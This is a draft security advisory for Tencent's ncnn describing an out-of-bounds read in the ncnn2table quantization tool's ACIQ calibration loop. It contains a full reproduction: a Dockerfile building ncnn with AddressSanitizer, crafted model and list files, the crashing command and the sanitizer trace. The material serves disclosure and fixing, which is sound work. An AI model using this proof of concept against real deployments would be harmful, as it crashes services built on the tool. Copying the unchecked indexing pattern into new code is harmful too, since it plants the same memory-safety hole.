All advisories
Draft

Out-of-Bounds Access in ACIQ Calibration Lists

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Out-of-Bounds Access in ACIQ Calibration Lists

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: tools/quantize/ncnn2table.cpp:1323 in QuantNet::quantize_ACIQ
Sanitizer verdict: SEGV on unknown address 0x000000000000 (pc 0x798b3435a8ed bp 0x7ffd6d4f5470 sp 0x7ffd6d4f5430 T0)

Summary

ncnn2table's ACIQ calibration loop derives its iteration count from the first calibration list only, then indexes every other list with the same counter. A caller who supplies a first list with one entry and a second, shorter list makes listspaths[1][0] read past the end of an empty std::vector, and the resulting bogus std::string is handed to read_npy, which faults inside the std::ifstream constructor. The calibration process dies before writing any table. Entry point: ncnn2table poc.param poc.bin first.list,second.list out.table shape=[1,1,1],[1,1,1] type=1 method=aciq.

Detail

The untrusted input is argv[3], the comma-separated list of calibration list files, which main parses into net.listspaths. The only sanity check compares the number of list files against the model's input count; the number of entries inside each list is never compared:

// tools/quantize/ncnn2table.cpp:2176
    const size_t input_blob_count = net.input_blobs.size();
    if (net.use_calibration_dataset && net.listspaths.size() != input_blob_count)
    {
        fprintf(stderr, "expect %d lists, but got %d\n", (int)input_blob_count, (int)net.listspaths.size());
        return -1;
    }

QuantNet::quantize_ACIQ() then takes its sample count from list zero and reuses the index i across all inputs:

// tools/quantize/ncnn2table.cpp:1282
    const int file_count = (int)listspaths[0].size();

// tools/quantize/ncnn2table.cpp:1289
    for (int i = 0; i < file_count; i++)

// tools/quantize/ncnn2table.cpp:1323
                in = read_npy(shapes[j], listspaths[j][i]);

std::vector::operator[] performs no bounds check, so listspaths[j][i] is an unchecked read at data() + i * sizeof(std::string) for a vector whose size may be smaller than file_count — zero, in the PoC.

The PoC model declares two Input blobs (a and b) so the list-count check passes with two lists. first.list names one valid .npy file, making file_count == 1; second.list is empty, so listspaths[1] is a zero-length vector whose data() is null. On the first iteration j reaches 1 and listspaths[1][0] forms a reference to a std::string at address 0x0. That reference is passed by const reference through read_npy into npy::read_npy, which constructs a std::basic_ifstream from it; the constructor dereferences the string's internal pointer and faults, as the sanitizer trace shows. A second list that is merely shorter than the first — rather than empty — produces the same unchecked read past the end of the vector on the first index beyond its size.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-out-of-bounds-access-in-aciq-calibration-lists && cd ncnn-poc-out-of-bounds-access-in-aciq-calibration-lists

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'PARAM'
7767517
3 3
Input a 0 1 a 0=1 1=1 2=1
Input b 0 1 b 0=1 1=1 2=1
Convolution conv 1 1 a out 0=1 1=1 6=1
PARAM

python3 - <<'BIN'
import struct
open("poc.bin", "wb").write(struct.pack("<If", 0, 1.0))
BIN

python3 - <<'NPY'
import struct
h = "{'descr': '<f4', 'fortran_order': False, 'shape': (1, 1, 1), }"
h += " " * (16 - ((10 + len(h) + 1) % 16)) + "\n"
open("first.npy", "wb").write(b"\x93NUMPY\x01\x00" + struct.pack("<H", len(h)) + h.encode() + struct.pack("<f", 1.0))
NPY

cat > first.list <<'LIST1'
first.npy
LIST1

cat > second.list <<'LIST2'
LIST2

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/quantize/ncnn2table poc.param poc.bin first.list,second.list out.table 'shape=[1,1,1],[1,1,1]' type=1 method=aciq

AddressSanitizer output:

mean = 
norm = 
shape = [1,1,1],[1,1,1]
pixel = 
thread = 24
method = aciq
---------------------------------------
count the absmax 0.00% [ 0 / 1 ]
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fea43dba8ed bp 0x7ffcdb8ef110 sp 0x7ffcdb8ef0d0 T0)
==1==The signal is caused by a READ memory access.
==1==Hint: address points to the zero page.
    #0 0x7fea43dba8ed in std::basic_ifstream<char, std::char_traits<char> >::basic_ifstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::_Ios_Openmode) (/lib/x86_64-linux-gnu/libstdc++.so.6+0x12f8ed) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b)
    #1 0x569a89c92053 in npy::npy_data<float> npy::read_npy<float>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/ncnn/build/tools/quantize/ncnn2table+0x302053) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #2 0x569a89c857b2 in read_npy(std::vector<int, std::allocator<int> > const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) (/ncnn/build/tools/quantize/ncnn2table+0x2f57b2) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)
    #3 0x569a89c618cc in QuantNet::quantize_ACIQ() /ncnn/tools/quantize/ncnn2table.cpp:1323
    #4 0x569a89c7d6e1 in main /ncnn/tools/quantize/ncnn2table.cpp:2233
    #5 0x7fea4398c1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7fea4398c28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x569a89c35be4 in _start (/ncnn/build/tools/quantize/ncnn2table+0x2a5be4) (BuildId: 545f9012937b0bda9fa22c45f4b018021cd96021)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libstdc++.so.6+0x12f8ed) (BuildId: 753c6c8608b61d4e67be8f0c890e03e0aa046b8b) in std::basic_ifstream<char, std::char_traits<char> >::basic_ifstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, std::_Ios_Openmode)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst